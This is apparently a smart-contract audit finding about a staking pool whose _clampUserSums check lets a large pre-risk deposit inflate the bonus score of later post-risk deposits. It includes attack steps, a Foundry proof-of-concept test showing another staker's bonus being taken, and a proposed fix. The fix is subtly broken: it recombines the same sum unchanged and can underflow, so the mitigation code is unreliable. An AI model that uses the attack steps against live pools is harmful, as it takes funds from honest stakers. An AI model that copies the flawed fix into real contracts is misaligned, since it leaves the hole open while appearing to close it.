Root + Impact
The function clampUserSums uses a single aggregate condition userSumStakeTime[u] < stake * riskWindowStart that checks the weighted-average entry time across ALL deposits. If a
large pre-risk deposit drags the average below riskWindowStart, every deposit (including post-risk ones made after the window opened) gets clamped to riskWindowStart. This inflates
the post-risk deposit's bonus score from (T - actualEntry)² to (T - riskWindowStart)².
Description
Make a large pre-risk deposit (e.g. 100 ETH)
-
After the risk window opens, make a small post-risk deposit (e.g. 1 ETH)
-
_clampUserSums clamps the 1 ETH post-risk deposit's entry time DOWN to riskWindowStart, inflating its bonus contribution
-
Honest stakers with the same timing get diluted — the attacker steals their bonus
function _clampUserSums(address u) internal {
uint256 start = riskWindowStart;
uint256 stake_ = eligibleStake[u];
if (start == 0 || stake_ == 0) return;
if (userSumStakeTime[u] < stake_ * start) {
userSumStakeTime[u] = stake_ * start;
userSumStakeTimeSq[u] = stake_ * start * start;
}
}
Risk
Likelihood:
Impact:
-
Stolen bonus directly comes from other stakers' fair share
-
In the PoC, 43% of Bob's fair bonus was stolen (0.084 ETH)
Proof of Concept
function testCONFIRMED_clampUserSums_BonusInflation() external {
_stake(alice, 100 * ONE);
_stake(bob, 1 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(block.timestamp + 10 days);
_stake(alice, 1 * ONE);
_stake(bob, 1 * ONE);
vm.warp(block.timestamp + 5 days);
_contributeBonus(carol, 10 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 alicePayout = _claim(alice);
uint256 bobPayout = _claim(bob);
uint256 aliceBonus = alicePayout - 101 * ONE;
uint256 bobBonus = bobPayout - 2 * ONE;
assertLt(bobBonus, (aliceBonus + bobBonus) * 2 / 103);
}
Recommended Mitigation
- function _clampUserSums(address u) internal {
- uint256 start = riskWindowStart;
- uint256 stake_ = eligibleStake[u]; -
- if (start == 0 || stake_ == 0) return; -
- if (userSumStakeTime[u] < stake_ * start) {
- userSumStakeTime[u] = stake_ * start;
- userSumStakeTimeSq[u] = stake_ * start * start;
- }
+ function _clampUserSums(address u, uint256 postRiskAmount) internal { + uint256 start = riskWindowStart;
+ uint256 stake_ = eligibleStake[u];
+ uint256 preRiskStake = stake_ - postRiskAmount; + if (start == 0 || preRiskStake == 0) return;
+ if (userSumStakeTime[u] < stake_ * start) {
+ uint256 preRiskTimePart = preRiskStake * start;
+ uint256 preRiskTimeSqPart = preRiskStake * start * start;
+ uint256 postRiskTimePart = userSumStakeTime[u] - preRiskTimePart;
+ uint256 postRiskTimeSqPart = userSumStakeTimeSq[u] - preRiskTimeSqPart;
+ userSumStakeTime[u] = preRiskTimePart + postRiskTimePart;
+ userSumStakeTimeSq[u] = preRiskTimeSqPart + postRiskTimeSqPart;
+ }
+ }